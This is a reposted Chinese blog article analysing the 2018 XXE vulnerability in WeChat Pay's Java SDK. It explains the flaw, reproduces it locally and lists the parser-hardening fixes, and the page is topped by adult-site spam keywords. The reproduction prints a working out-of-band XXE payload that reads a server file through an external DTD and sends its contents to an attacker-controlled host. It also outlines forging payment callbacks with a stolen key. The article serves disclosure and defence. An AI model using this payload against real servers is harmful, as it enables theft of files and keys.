中文字幕在线观看,亚洲а∨天堂久久精品9966,亚洲成a人片在线观看你懂的,亚洲av成人片无码网站,亚洲国产精品无码久久久五月天

談?wù)勎⑿胖Ц镀爻龅穆┒?

2018-07-20    來(lái)源:importnew

容器云強(qiáng)勢(shì)上線!快速搭建集群,上萬(wàn)Linux鏡像隨意使用

一、背景

昨天(2018-07-04)微信支付的SDK曝出重大漏洞(XXE漏洞),通過(guò)該漏洞,攻擊者可以獲取服務(wù)器中目錄結(jié)構(gòu)、文件內(nèi)容,如代碼、各種私鑰等。獲取這些信息以后,攻擊者便可以為所欲為,其中就包括眾多媒體所宣傳的“0元也能買(mǎi)買(mǎi)買(mǎi)”。

漏洞報(bào)告地址;http://seclists.org/fulldisclosure/2018/Jul/3

二、漏洞原理

1.? XXE漏洞

此次曝出的漏洞屬于XXE漏洞,即XML外部實(shí)體注入(XML External Entity Injection)。

XML文檔除了可以包含聲明和元素以外,還可以包含文檔類(lèi)型定義(即DTD);如下圖所示。

在DTD中,可以引進(jìn)實(shí)體,在解析XML時(shí),實(shí)體將會(huì)被替換成相應(yīng)的引用內(nèi)容。該實(shí)體可以由外部引入(支持http、ftp等協(xié)議,后文以http為例說(shuō)明),如果通過(guò)該外部實(shí)體進(jìn)行攻擊,就是XXE攻擊。

可以說(shuō),XXE漏洞之所以能夠存在,本質(zhì)上在于在解析XML的時(shí)候,可以與外部進(jìn)行通信;當(dāng)XML文檔可以由攻擊者任意構(gòu)造時(shí),攻擊便成為可能。在利用XXE漏洞可以做的事情當(dāng)中,最常見(jiàn)最容易實(shí)現(xiàn)的,便是讀取服務(wù)器的信息,包括目錄結(jié)構(gòu)、文件內(nèi)容等;本次微信支付爆出的漏洞便屬于這一種。

2.? 微信支付漏洞

本次漏洞影響的范圍是:在微信支付異步回調(diào)接口中,使用微信支付SDK進(jìn)行XML解析的應(yīng)用。注意這里的SDK是服務(wù)器端的SDK,APP端使用SDK并不受影響。

SDK下載地址如下(目前微信官方宣傳漏洞已修復(fù)):https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

SDK中導(dǎo)致漏洞的代碼是WXPayUtil工具類(lèi)中的xmlToMap()方法:

如上圖所示,由于在解析XML時(shí)沒(méi)有對(duì)外部實(shí)體的訪問(wèn)做任何限制,如果攻擊者惡意構(gòu)造xml請(qǐng)求,便可以對(duì)服務(wù)器進(jìn)行攻擊。下面通過(guò)實(shí)例介紹攻擊的方法。

3.? 攻擊復(fù)現(xiàn)

下面在本機(jī)環(huán)境下進(jìn)行復(fù)現(xiàn)。

假設(shè)本地的web服務(wù)器127.0.0.1:8080中存在POST接口:/wxpay/callback,該接口中接收xml字符串做參數(shù),并調(diào)用前述的WXPayUtil.xmlToMap(strXml)對(duì)xml參數(shù)進(jìn)行解析。此外,/etc/password中存儲(chǔ)了重要的密碼數(shù)據(jù)(如password1234)。

攻擊時(shí)構(gòu)造的請(qǐng)求如下:

其中xml內(nèi)容如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % file SYSTEM "file:///etc/password">
    <!ENTITY % xxe SYSTEM "http://127.0.0.1:9000/xxe.dtd">
    %xxe;
]>

其中/etc/password為要竊取的對(duì)象,http://127.0.0.1:9000/xxe.dtd為攻擊者服務(wù)器中的dtd文件,內(nèi)容如下:

<!ENTITY % shell "<!ENTITY % upload SYSTEM 'http://127.0.0.1:9000/evil/%file;'>">
%shell;
%upload;

通過(guò)xml+dtd文件,攻擊者便可以在服務(wù)器http://127.0.0.1:9000中收到如下請(qǐng)求:

http://127.0.0.1:9000/evil/password1234

這樣,攻擊者便得到了/etc/password文件的內(nèi)容。

在本例中,攻擊者竊取了/etc/password文件中的內(nèi)容,實(shí)際上攻擊者還可以獲取服務(wù)器中的目錄結(jié)構(gòu)以及其他文件,只要啟動(dòng)web應(yīng)用的用戶(hù)具有相應(yīng)的讀權(quán)限。如果獲取的信息比較復(fù)雜,如包含特殊符號(hào),無(wú)法直接通過(guò)http的URL發(fā)送,則可以采用對(duì)文件內(nèi)容進(jìn)行Base64編碼等方法解決。

三、漏洞的解決

解決該漏洞的原理非常簡(jiǎn)單,只要禁止解析XML時(shí)訪問(wèn)外部實(shí)體即可。

漏洞曝出以后,微信進(jìn)行了緊急修復(fù),一方面是更新了SDK,并提醒開(kāi)發(fā)者使用最新的SDK;SDK中修復(fù)代碼如下:

加入了如下兩行代碼:

documentBuilderFactory.setExpandEntityReferences(false);
documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

更新:微信表示上述2條語(yǔ)句無(wú)法禁止該漏洞,又雙叒叕更新了官方SDK,加了以下語(yǔ)句(對(duì)于微信的這波操作,不知如何評(píng)價(jià)):

documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
documentBuilderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
documentBuilderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
documentBuilderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
documentBuilderFactory.setXIncludeAware(false);
documentBuilderFactory.setExpandEntityReferences(false);

此外,微信官方也給出了關(guān)于XXE漏洞的最佳安全實(shí)踐,可以參考:

https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5

筆者本人使用上述方案中建議的如下代碼修復(fù)了該漏洞:

DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
……

四、擴(kuò)展與反思

1.? 危害不只是“0元也能買(mǎi)買(mǎi)買(mǎi)”

在很多媒體的報(bào)道中,強(qiáng)調(diào)該漏洞的風(fēng)險(xiǎn)在于攻擊者可以不支付也可以獲得商品。確實(shí),攻擊者在通過(guò)上述漏洞獲得微信支付的秘鑰以后,有不止一種途徑可以做到不支付就獲得商品:例如,攻擊者首先在系統(tǒng)中下單,獲得商戶(hù)訂單號(hào);然后便可以調(diào)用微信支付的異步回調(diào),其中的簽名參數(shù)便可以使用前面獲取的秘鑰對(duì)訂單號(hào)等信息進(jìn)行MD5獲得;這樣攻擊者的異步回調(diào)就可以通過(guò)應(yīng)用服務(wù)器的簽名認(rèn)證,從而獲得商品。不過(guò),在很多有一定規(guī)模的購(gòu)物網(wǎng)站(或其他有支付功能的網(wǎng)站),會(huì)有對(duì)賬系統(tǒng),如定時(shí)將系統(tǒng)中的訂單狀態(tài)與微信、支付寶的后臺(tái)對(duì)比,如果出現(xiàn)不一致可以及時(shí)報(bào)警并處理,因此該漏洞在這方面的影響可能并沒(méi)有想象的那么大。

然而,除了“0元也能買(mǎi)買(mǎi)買(mǎi)”,攻擊者可以做的事情還有很多很多;理論上來(lái)說(shuō),攻擊者可能獲得應(yīng)用服務(wù)器上的目錄結(jié)構(gòu)、代碼、數(shù)據(jù)、配置文件等,可以根據(jù)需要進(jìn)行進(jìn)一步破壞。

2.? 漏洞不限于微信支付SDK

雖然微信支付曝出該漏洞受到了廣泛關(guān)注,但該漏洞絕不僅僅存在于微信支付中:由于眾多XML解析器默認(rèn)不會(huì)禁用對(duì)外部實(shí)體的訪問(wèn),因此應(yīng)用的接口如果有以下幾個(gè)特點(diǎn)就很容易掉進(jìn)XXE漏洞的坑里:

(1)接口使用xml做請(qǐng)求參數(shù)

(2)接口對(duì)外公開(kāi),或容易獲得:例如一些接口提供給外部客戶(hù)調(diào)用,或者接口使用http很容易抓包,或者接口比較容易猜到(如微信支付的異步回調(diào)接口)

(3)接口中解析xml參數(shù)時(shí),沒(méi)有禁用對(duì)外部實(shí)體的訪問(wèn)

建議大家最好檢查一下自己的應(yīng)用中是否有類(lèi)似的漏洞,及時(shí)修復(fù)。

3.? xml與json

xml 與 json是系統(tǒng)間交互常用的兩種數(shù)據(jù)格式,雖然很多情況下二者可以互換,但是筆者認(rèn)為,json 作為更加輕量級(jí)更加純粹的數(shù)據(jù)格式,更適合于系統(tǒng)間的交互;而xml,作為更加重量級(jí)更加復(fù)雜的數(shù)據(jù)格式,其 DTD 支持自定義文檔類(lèi)型,在更加復(fù)雜的配置場(chǎng)景下有著更好的效果,典型的場(chǎng)景如 spring 相關(guān)的配置。

4.? 題外話:微信支付的簽名認(rèn)證

在前面曾經(jīng)提到,應(yīng)用中存儲(chǔ)的秘鑰一旦泄露,攻擊者便可以完全繞過(guò)簽名認(rèn)證,這是因?yàn)槲⑿胖Ц妒褂玫氖菍?duì)稱(chēng)式的簽名認(rèn)證:微信方和應(yīng)用方,使用相同的秘鑰對(duì)相同的明文進(jìn)行MD5簽名,只要應(yīng)用方的秘鑰泄露,簽名認(rèn)證就完全成了擺設(shè)。

在這方面支付寶的做法更規(guī)范也更安全:支付寶為應(yīng)用生成公私鑰對(duì),公鑰由應(yīng)用方保存,私鑰由支付寶保存;在回調(diào)時(shí),支付寶使用私鑰進(jìn)行簽名,應(yīng)用方使用公鑰進(jìn)行驗(yàn)證;這樣只要支付寶保存的私鑰不泄露,攻擊者只有公鑰則難以通過(guò)簽名認(rèn)證。

參考文獻(xiàn)

  • https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
  • http://seclists.org/fulldisclosure/2018/Jul/3
  • https://www.cnblogs.com/tongwen/p/5194483.html

標(biāo)簽: web服務(wù)器 安全 代碼 服務(wù)器 服務(wù)器端 開(kāi)發(fā)者 漏洞 媒體 權(quán)限 通信 應(yīng)用服務(wù)器

版權(quán)申明:本站文章部分自網(wǎng)絡(luò),如有侵權(quán),請(qǐng)聯(lián)系:west999com@outlook.com
特別注意:本站所有轉(zhuǎn)載文章言論不代表本站觀點(diǎn)!
本站所提供的圖片等素材,版權(quán)歸原作者所有,如需使用,請(qǐng)與原作者聯(lián)系。

上一篇:編輯 Spring 中獲取 request 的幾種方法,及其線程安全性分析

下一篇:細(xì)說(shuō) Java 中的字符和字符串( 二 )